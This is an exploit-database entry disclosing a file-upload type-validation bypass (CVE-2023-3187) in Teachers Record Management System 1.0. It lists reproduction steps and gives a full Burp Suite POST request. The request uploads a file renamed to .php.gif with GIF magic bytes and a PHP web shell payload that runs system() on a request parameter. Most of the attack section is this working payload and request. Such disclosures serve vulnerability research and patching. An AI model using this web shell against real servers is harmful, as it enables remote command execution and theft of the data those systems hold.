ea8922f91d
4 changes to exploits/shellcodes/ghdb Composr-CMS Version <=10.0.39 - Authenticated Remote Code Execution Online Examination System Project 1.0 - Cross-site request forgery (CSRF) Sales Tracker Management System v1.0 - Multiple Vulnerabilities Teachers Record Management System 1.0 - File Upload Type Validation
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2.7 KiB
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68 lines
No EOL
2.7 KiB
Text
Exploit Title: Teachers Record Management System 1.0 – File Upload Type Validation
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Date: 17-01-2023
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EXPLOIT-AUTHOR: AFFAN AHMED
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Vendor Homepage: <https://phpgurukul.com>
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Software Link: <https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/>
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Version: 1.0
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Tested on: Windows 11 + XAMPP
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CVE : CVE-2023-3187
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===============================
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STEPS_TO_REPRODUCE
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===============================
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1. Login into Teacher-Account with the credentials “Username: jogoe12@yourdomain.com”
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Password: Test@123”
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2. Navigate to Profile Section and edit the Profile Pic by clicking on Edit Image
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3. Open the Burp-suite and Intercept the Edit Image Request
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4. In POST Request Change the “ Filename “ from “ profile picture.png “ to “profile picture.php.gif ”
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5. Change the **Content-type from “ image/png “ to “ image/gif “
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6. And Add this **Payload** : `GIF89a <?php echo system($_REQUEST['dx']); ?>`
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7. Where **GIF89a is the GIF magic bytes this bypass the file upload extension**
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8. Below is the Burpsuite-POST Request for all the changes that I have made above
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==========================================
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BURPSUITE_REQUEST
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==========================================
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POST /trms/teacher/changeimage.php HTTP/1.1
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Host: localhost
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Content-Length: 442
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Cache-Control: max-age=0
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sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
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sec-ch-ua-mobile: ?0
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sec-ch-ua-platform: "Windows"
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Upgrade-Insecure-Requests: 1
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Origin: <http://localhost>
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryndAPYa0GGOxSUHdF
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Sec-Fetch-Site: same-origin
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Sec-Fetch-Mode: navigate
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Sec-Fetch-User: ?1
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Sec-Fetch-Dest: document
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Referer: <http://localhost/trms/teacher/changeimage.php>
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Accept-Encoding: gzip, deflate
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Accept-Language: en-US,en;q=0.9
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Cookie: PHPSESSID=8alf0rbfjmhm3ddra7si0cv7qc
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Connection: close
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------WebKitFormBoundaryndAPYa0GGOxSUHdF
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Content-Disposition: form-data; name="subjects"
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John Doe
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------WebKitFormBoundaryndAPYa0GGOxSUHdF
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Content-Disposition: form-data; name="newpic"; filename="profile picture.php.gif"
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Content-Type: image/gif
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GIF89a <?php echo system($_REQUEST['dx']); ?>
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------WebKitFormBoundaryndAPYa0GGOxSUHdF
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Content-Disposition: form-data; name="submit"
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------WebKitFormBoundaryndAPYa0GGOxSUHdF--
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===============================
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PROOF_OF_CONCEPT
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===============================
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GITHUB_LINK: https://github.com/ctflearner/Vulnerability/blob/main/Teacher_Record_Management_System/trms.md |